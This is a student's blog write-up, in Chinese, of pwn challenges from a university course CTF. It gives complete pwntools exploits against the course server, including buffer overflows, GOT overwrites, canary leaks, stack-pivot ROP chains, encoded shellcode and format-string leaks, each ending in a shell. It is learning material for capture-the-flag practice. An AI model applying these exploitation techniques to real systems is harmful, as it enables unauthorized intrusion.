My first CTF(?) and pwn!
亂入學校ADL CTF的一些紀錄與筆記…
Intro
雖然主要是main web,但這年頭感覺想搞web,好像什麼都要會啊XD
入學前就一直想去旁聽或修修看電腦攻防,但大一的必修卡的死死的…
不過電腦攻防沒有限制非課堂學生才能申請帳號,
所以我就把ADL CTF找來邊打邊學囉XD
helloctf [pwn]
蓋ret addr到有execve()函數的text段,拿shell
from pwn import *
ip = 'ctf.adl.tw'
prot = 11001
r = remote(ip, prot)
# r = process('../binary/helloctf')
r.recvuntil("CTF!!")
targer_address = 0x4006CB
paload = b'A'*0x18 + p64(targer_address)
r.sendline(payload)
r.interactive()
helloctf2 [pwn]
說實在感覺不出來和上一題有什麼太大的差異…
沒開什麼防護
一樣蓋ret addr到execve()的text段,拿shell
from pwn import *
ip = 'ctf.adl.tw'
prot = 11002
r = remote(ip, prot)
# r = process('../binary/helloctf2')
r.recvuntil("CTF!!")
targer_address = 0x00000000004006d7
r.sendline(b"a"*0x30+b'a'*0x8+p64(targer_address))
r.interactive()
libccc [pwn]
題目有給libc,那就直接one_gadget RCE囉
一開始會用write把stdin的addr leak出來
所以可以得知libc_stdin_addr-libc_stdin_offset=libc_base_addr
蓋ret addr,接gadget_offset+libc_base_addr
from pwn import *
r = remote("ctf.adl.tw", 11004)
# r = process("../binary/libccc")
stdin_raw = r.recvuntil("=")[:-1]
print(stdin_raw)
stdin_addr = int.from_bytes(stdin_raw, byteorder='little')
print('stdin addr:', hex(stdin_addr))
libc = ELF('./libc.so.6')
libc_stdin_offset = 0x03eba00
one_gadget_off = 0x4f2c5
base_addr = stdin_addr - libc_stdin_offset
print('base addr:', hex(base_addr))
payload = b'A'*0x48 + p64(one_gadget_off+base_addr)
r.sendline(payload)
r.interactive()
lucky system [pwn]
這題的考點比較特殊,由於scanf一個int的時候並沒有加&
這樣scanf進來的值,會寫到那個int值所指的地址
而不是int的位置,所以只要能控制int的值,就能任意寫入
而且由於welcome和lucky是連續呼叫,他們的bp位置相同
所以可以利用welcome讀取值的時候,輕鬆的將預先那個int裡面的值寫成想任意寫入的位置
所以這裡填上fflush的got表位置
在scanf時寫入為後面所接的execve()位置的int,即可getshell
from pwn import *
r = remote("ctf.adl.tw",11003)
# r = process("../binary/lucky")
r.recvuntil(" ?")
fflush_got = 0x601038
payload = b'A'* (0x40-0x18) + p64(fflush_got)
r.sendline(payload)
r.recvuntil(" : ")
r.sendline(b'4196593') # 0x4008f1 execve("/bin/sh", 0, 0);
r.interactive()
We are family [pwn]
這題想考的是stack pivoting
因為printf會持續輸出直到遇到空字節
所以如果padding的長度控制得當,可以輸出一些stack上的資料
因為第一個read可以read 0x30個bytes
從上圖可以得知,如果我們send 0x24+1(\n)個bytes給他
會剛好把canary的末兩位00給蓋掉
printf就會幫我們把剩下canary印出來了
下一個read有overflow,可以看到buffer是從rbp-0x20開始開
但卻想read 0x50個bytes
但我們至少要消耗0x18(padding)-0x8(cannary)個bytes來做overflow
如果我們想串getshell的rop chain,只剩6個gadget的大小,x64不太可能
所以需要stack pivoting,在更大的buffer上繼續串(bss可寫,這裡我選擇bss+0x500作為buffer)
故將old rbp填上bss buffer+0x8(後面解釋)
將rsi(read要寫的addr)控成bss buffer
rdx控成超大的數(read的大小,但其實不用控,因為function結束時的rdx剛好超大XD)
再接上main裡準備read的addr(將mov edi,0)的這行
我們第一個payload send之後的stack會長這樣
padding | canary | old_rbp | ret_addr | rop | rop | rop | read |
---|---|---|---|---|---|---|---|
A*0x18 | canary | bss+0x8 | pop_rsi | bss | pop_rdx | 0x1000 | read |
經過function epilogue之後
由於前面的register已經控好,這裡會呼叫的read是長這樣:
read(0,&bss_buf,0x1000);
rbp的位置會在bss_buf+8的位置
現在我們再次send payload:
canary + padding(old_rbp,如果只pivot一次可以亂填) + getshell_rop_chain
這裡的stack會長這樣
canary | old_rbp | ret addr |
---|---|---|
canary | trash | rop_cahin for shell…. |
之所以剛剛要回到的rbp位置要填bss_buf+8的原因
就是因為我們的gadget填的不夠多(也填不下了,或是我可能太菜,沒其他方法…),如果要用main裡的read的話
main結束的時候會檢查canary,我們必須讓rbp-8的位置上有正確的canary,不然就會stack smash
完整exploit:
from pwn import *
r = remote('ctf.adl.tw', 11006)
# r = process('../binary/family')
'''set up'''
elf = ELF('../binary/family')
bss_buf = elf.bss() + 0x500
data_buf_addr = 0x6bd100
pop_rsi = 0x0000000000410713 # use ROP_gadget to find
read_addr = 0x400C80
pop_rbp = 0x0000000000400aa8
pop_rdx = 0x000000000044a365
'''exploit'''
r.recvuntil("Where is my daddy QQ\n")
r.send(b'A' * 24 + b'\n')
all_raw = r.recvuntil('Co')[25:-2]
addr = int.from_bytes(all_raw, byteorder='little')
print(hex(addr))
print('canary:', hex(addr)[8:] + '00')
canary = int(hex(addr)[8:] + '00', 16)
payload = b'A' * 24 + p64(canary) + p64(
bss_buf + 8) + p64(pop_rsi) + p64(bss_buf) + p64(pop_rdx) + p64(0x01000) + p64(
read_addr)
r.send(payload)
'''rop chain'''
rop_chain = p64(0x0000000000410713) # pop rsi ; ret
rop_chain += p64(0x00000000006ba0e0) # @ .data
rop_chain += p64(0x000000000044a30c) # pop rax ; ret
rop_chain += b'/bin//sh'
rop_chain += p64(0x00000000004801d1) # mov qword ptr [rsi], rax ; ret
rop_chain += p64(0x0000000000410713) # pop rsi ; ret
rop_chain += p64(0x00000000006ba0e8) # @ .data + 8
rop_chain += p64(0x00000000004452b0) # xor rax, rax ; ret
rop_chain += p64(0x00000000004801d1) # mov qword ptr [rsi], rax ; ret
rop_chain += p64(0x0000000000400696) # pop rdi ; ret
rop_chain += p64(0x00000000006ba0e0) # @ .data
rop_chain += p64(0x0000000000410713) # pop rsi ; ret
rop_chain += p64(0x00000000006ba0e8) # @ .data + 8
rop_chain += p64(0x000000000044a365) # pop rdx ; ret
rop_chain += p64(0x00000000006ba0e8) # @ .data + 8
rop_chain += p64(0x00000000004452b0) # xor rax, rax ; ret
rop_chain += p64(0x0000000000475660) # add rax, 1 ; ret
rop_chain += p64(0x0000000000475660) # add rax, 1 ; ret
rop_chain += p64(0x0000000000475660) # add rax, 1 ; ret
rop_chain += p64(0x0000000000475660) # add rax, 1 ; ret
rop_chain += p64(0x0000000000475660) # add rax, 1 ; ret
rop_chain += p64(0x0000000000475660) # add rax, 1 ; ret
rop_chain += p64(0x0000000000475660) # add rax, 1 ; ret
rop_chain += p64(0x0000000000475660) # add rax, 1 ; ret
rop_chain += p64(0x0000000000475660) # add rax, 1 ; ret
rop_chain += p64(0x0000000000475660) # add rax, 1 ; ret
rop_chain += p64(0x0000000000475660) # add rax, 1 ; ret
rop_chain += p64(0x0000000000475660) # add rax, 1 ; ret
rop_chain += p64(0x0000000000475660) # add rax, 1 ; ret
rop_chain += p64(0x0000000000475660) # add rax, 1 ; ret
rop_chain += p64(0x0000000000475660) # add rax, 1 ; ret
rop_chain += p64(0x0000000000475660) # add rax, 1 ; ret
rop_chain += p64(0x0000000000475660) # add rax, 1 ; ret
rop_chain += p64(0x0000000000475660) # add rax, 1 ; ret
rop_chain += p64(0x0000000000475660) # add rax, 1 ; ret
rop_chain += p64(0x0000000000475660) # add rax, 1 ; ret
rop_chain += p64(0x0000000000475660) # add rax, 1 ; ret
rop_chain += p64(0x0000000000475660) # add rax, 1 ; ret
rop_chain += p64(0x0000000000475660) # add rax, 1 ; ret
rop_chain += p64(0x0000000000475660) # add rax, 1 ; ret
rop_chain += p64(0x0000000000475660) # add rax, 1 ; ret
rop_chain += p64(0x0000000000475660) # add rax, 1 ; ret
rop_chain += p64(0x0000000000475660) # add rax, 1 ; ret
rop_chain += p64(0x0000000000475660) # add rax, 1 ; ret
rop_chain += p64(0x0000000000475660) # add rax, 1 ; ret
rop_chain += p64(0x0000000000475660) # add rax, 1 ; ret
rop_chain += p64(0x0000000000475660) # add rax, 1 ; ret
rop_chain += p64(0x0000000000475660) # add rax, 1 ; ret
rop_chain += p64(0x0000000000475660) # add rax, 1 ; ret
rop_chain += p64(0x0000000000475660) # add rax, 1 ; ret
rop_chain += p64(0x0000000000475660) # add rax, 1 ; ret
rop_chain += p64(0x0000000000475660) # add rax, 1 ; ret
rop_chain += p64(0x0000000000475660) # add rax, 1 ; ret
rop_chain += p64(0x0000000000475660) # add rax, 1 ; ret
rop_chain += p64(0x0000000000475660) # add rax, 1 ; ret
rop_chain += p64(0x0000000000475660) # add rax, 1 ; ret
rop_chain += p64(0x0000000000475660) # add rax, 1 ; ret
rop_chain += p64(0x0000000000475660) # add rax, 1 ; ret
rop_chain += p64(0x0000000000475660) # add rax, 1 ; ret
rop_chain += p64(0x0000000000475660) # add rax, 1 ; ret
rop_chain += p64(0x0000000000475660) # add rax, 1 ; ret
rop_chain += p64(0x0000000000475660) # add rax, 1 ; ret
rop_chain += p64(0x0000000000475660) # add rax, 1 ; ret
rop_chain += p64(0x0000000000475660) # add rax, 1 ; ret
rop_chain += p64(0x0000000000475660) # add rax, 1 ; ret
rop_chain += p64(0x0000000000475660) # add rax, 1 ; ret
rop_chain += p64(0x0000000000475660) # add rax, 1 ; ret
rop_chain += p64(0x0000000000475660) # add rax, 1 ; ret
rop_chain += p64(0x0000000000475660) # add rax, 1 ; ret
rop_chain += p64(0x0000000000475660) # add rax, 1 ; ret
rop_chain += p64(0x0000000000475660) # add rax, 1 ; ret
rop_chain += p64(0x0000000000475660) # add rax, 1 ; ret
rop_chain += p64(0x0000000000475660) # add rax, 1 ; ret
rop_chain += p64(0x0000000000475660) # add rax, 1 ; ret
rop_chain += p64(0x0000000000475660) # add rax, 1 ; ret
rop_chain += p64(0x000000000040132c) # syscall
r.send(p64(canary) + b'A' * 8 + rop_chain)
'''
cannary + A*8 + rop chain
( buf start(rbp-8) ) + rbp
'''
r.interactive()
Analyzer [pwn]
NX沒開,shellcode!
第一個read會讀 11 bytes 到 10 bytes的buffer
然後看binary可以發現會最後會call eax
eax裡面的值往上追,剛好是我們可以透過1個bytes的overflow來控的一塊鄰近的buffer位置(跟後面另一塊可控buffer只有末8位不一樣)
然後在第二個read的部分可以放shellcode在另一塊buffer上(但會過濾int 0x80,/bin/sh)
所以目標就是透過overflow執行放在第二個可控buffer裡的shellcode
但怎麼跳到指定的buffer位置呢?
這題不僅有開PIE,而且在local上嘗試蓋到指定位置的時候還會因為decrypt這個function stack smash…
但這題目標明確:
xor或shift繞過濾,蓋 1 bytes並且成功跳過去buffer,shell out
既然只有1bytes,那就Bruteforce吧XD
在shellcode前面放滿nop sled
0x00 到 0xff random炸過去
稍待片刻…,成功XD
exploit:
from pwn import *
ip = 'ctf.adl.tw'
port = 11005
import random
# context.log_level = 'debug'
count = 0
while 1:
try:
count += 1
if (count%50)==0:
time.sleep(5)
r = remote(ip,port)
r.recvuntil('Enter your passcode: \n')
r.send(b'A'*0x10+p8(random.randint(0,0xff)))
r.recvuntil('Provide the result in CSV format: \n')
shellcode = b"\x29\xC9\x74\x14\x5E\xB1\x14\x46\x8B\x06\x83\xE8\x09\x34\x9F\x32\x46\xFF\x88\x06\xE2\xF1\xEB\x05\xE8\xE7\xFF\xFF\xFF\x31\x70\xAA\x92\xD7\x2D\xCE\xAF\xE1\xA8\xCC\x8D\xA8\xE1\xDB\x9D\xA1\x81\xFE\xBA\xDB"
# p = run_shellcode(shellcode)
r.send(b'\x90'*(0x60-len(shellcode))+shellcode)
print(len(shellcode))
r.recvuntil('Analyzing simutaion result...\n')
r.sendline(b'ls')
test_getshell = r.recv()
if b'bin' in test_getshell:
print("found")
print(test_getshell)
r.sendline(b'cat /home/ANALYZER/flag')
try:
print(r.recv())
except:pass
r.interactive()
except:
r.close()
Podcast [pwn]
(這題問了很多人,最後才解出來,真的和pwn太不熟了…
這裡特別感謝davidhcefx助教和maple3142學長)
這題挺有趣的,根據題目給的zip檔,file一下裡頭的檔案
可以找到一個python script,裡頭的註解有給source code的網址
一開始以為是一題半盲pwn,所以還用fmt把binary的text段dump下來
但後來問完助教才知道在下載source code的網址的目錄可以連同binary和libc都下載下來…
所以可以靠著下載下來的binary和libc解掉…
但…我還是用一開始的思路重打一次好了XD
首先從source code可以找到兩個洞
1.fmt 2.bof
bof的部分最多可以塞77個字,但url只開到51
fmt的部分只要info後面接format string,即可達到目的
先造好fmt的payload,再使用pwntool的fmt
先fuzz一下stack,找找看能不能發現_start的addr
方便等等dynelf工作
找到了!
現在有了fmt的leaker,有text段的大約位置
(注意設定context arch,這裡因為沒加,卡很久…)
就足夠dynelf幫我們挖出system位置了
為了知道到底nameof的buffer距離rbp到底有多遠
所以直接把binary的text段dump下來,方便分析
等等如果需要rop也方便
(dump時要注意0a(\n)出現時的處理)
經過漫長的等待,從elf開始0x3000左右的binary訊息都被我們dump下來了
可以看到,rsi,也就是fpirntf的format參數,是rbp-0xa0
nameof的buffer是rbp-0x40
而且能發現canary
統整一下:
我們可以塞77個bytes,距離old rbp有0x40 bytes的距離,所以我們最多只能蓋到old rip 5個bytes
canary通過fpirntf可以知道,距離我們輸入的format位置(rsi/fmt offset 1)
有0x40-0x8 bytes的距離
而我們所輸入的format string是在offset 7的地方
所以canary是在7+(0x40-0x8)/8 offset處
而nameof buffer可以通過fprintf的buffer位置(rsi)+0x40-0xa算出
所以現在我們的工具有:
canary,buffer位置,libc system addr,5個bytes的可控rip(基本上可以蓋到text段上的所有位置了,畢竟那時我們也只dump 0x3000)
所以要get shell我們會需要stack pivot
不同於family那題
我們這次利用leave ret,通過兩次的leave ret將新的stack frame移到nameof的buffer位置
find rop gadget with ida and ghex(還不會操作ida來search hex QQ)
順代一提,pop rdi好像挺好找的,因為pop r15;ret;(end of libc_csu_init),asm完後兩碼,剛好會變成pop rdi;ret XD
payload:
rop chain(new ret) | /bin//sh\0 | padding | old_rbp (old leave control) | old rip (old ret control) |
---|---|---|---|---|
call system | string | AAAA | nameof buffer addr-8 (pivot to [buffer-8]) | leave_ret_gadget(new leave ret) |
註解:
old leave,會讓rsp和rbp位置相同(mov rsp,rbp),接下來pop rbp會將目前rsp所指([buffer-8]),pop作為新的rbp
old ret,會將rsp所指位置(剛剛pop後+8,指向我們的寫上的leave ret),pop給rip,開始執行我們的leave ret
new leave 會讓rsp和rbp([buffer-8])位置相同
(leave中的pop rbp會將rsp所指([buffer-8]中的值)pop給rbp,但這裡我們可以忽略他的作用,但如果需要再作一次pivot,就必須在[buffer-8]上填上另一個可控buffer位置)
接下來new ret會將rsp所指位置(剛剛pop後+8,指向[buffer]中的值),pop給rip,也就是開始執行我們的rop chain!
完整exploit:
from pwn import *
# ip = "127.0.0.1"
ip = "ctf.adl.tw"
port = 11007
context(arch='amd64', os='linux')
# context.log_level = 'debug'
def send_fmt_payload(payload):
r = remote(ip, port)
print(payload)
r.sendline(b'info' + payload)
return r.recvall()
def fuzz_stack(min_value=0x0, max_value=0xffffffffffffffff):
fmt_offset = FmtStr(send_fmt_payload).offset
fmt = FmtStr(execute_fmt=send_fmt_payload, offset=fmt_offset)
for i in range(1, 100):
stack_leak = fmt.leak_stack(i)
if min_value < stack_leak < max_value:
print(f"0x{stack_leak:x}")
try:
memory_leak = fmt.leaker(stack_leak)
print("memory information:", memory_leak)
print(disasm(memory_leak))
except:
print("value in stack is not addr...")
fmt_offset = FmtStr(send_fmt_payload).offset
fmt = FmtStr(execute_fmt=send_fmt_payload, offset=fmt_offset)
start_addr = fmt.leak_stack(49)
print(f"start addr:0x{start_addr:x}")
# fuzz_stack()
# fuzz_stack(start_addr,start_addr+0x2000)
elf = DynELF(fmt.leaker, start_addr)
elf_header = elf.libbase
# dump binary
# dump_start = elf_header
# dump_end = dump_start + 0x3050
# server_bin = b''
# while dump_start<dump_end:
# if b'\n' in p64(dump_start):
# fix_newline = 1
# else:
# fix_newline = 0
# try:
# data = fmt.leaker(dump_start)[fix_newline:]
# except:
# data = b'\x00'
# server_bin += data
# dump_start += len(data)
# with open('blind_dump','bw') as f:
# f.write(server_bin)
libc_base = elf.lookup(None, 'libc')
system_addr = elf.lookup('system', 'libc')
print(f"elf header addr:0x{elf_header:x}")
print(f"libc base:0x{libc_base:x}")
print(f"system:0x{system_addr:x}")
pop_rdi = elf_header + 0x1c03
buffer_addr = fmt.leak_stack(1) + 0xa0 - 0x40 # rbp-0xa0 to rbp-0x40
canary = fmt.leak_stack(fmt_offset + (0xa0 - 0x8) / 0x8) # [ (rbp-0xa0) - (rbp-0x8) ] / 8 bytes
leave_ret = elf_header + 0x1533 # use ida to find offset in dump binary
print(f"canary:{canary:x}")
print(f"pop rdi:0x{pop_rdi:x}")
# print(disasm(fmt.leaker(pop_rdi)))
print(f"leave ret:0x{leave_ret:x}")
# print(disasm(fmt.leaker(leave_ret)))
rop = p64(pop_rdi)
rop += p64(buffer_addr + 24)
rop += p64(system_addr)
payload = rop + b"/bin//sh\x00"
payload += b'A' * (0x40 - len(payload) - 0x8) + p64(canary) + p64(buffer_addr - 8) + p64(leave_ret)[:5]
r = remote(ip, port)
r.sendline(b'nameof' + payload)
r.sendline()
r.interactive()
真的是還不錯的題目!學到很多!
[web]
web 就沒啥特別,都算是經典的玩法XD
主要有出:sqli、php hash弱比較、php strcmp、lfi、xss、/.git、.bak
所以就不寫了
Summary
距離一個月前開始打pwn,感覺學到了不少,但還是好多東西要學(這次沒玩到heap QQ)
然後最後一題podcast卡太久…,名次就掉了XD,但也學到最多
殘念QQ
雖然僅僅是校內課程的小小ctf,但還是登不上前3,看來距離我的目標還有很長一段路啊
繼續努力!!!
然後由於對pwn不太熟,如果不知道為什麼逛到這的大神發現內容有誤,還請告訴我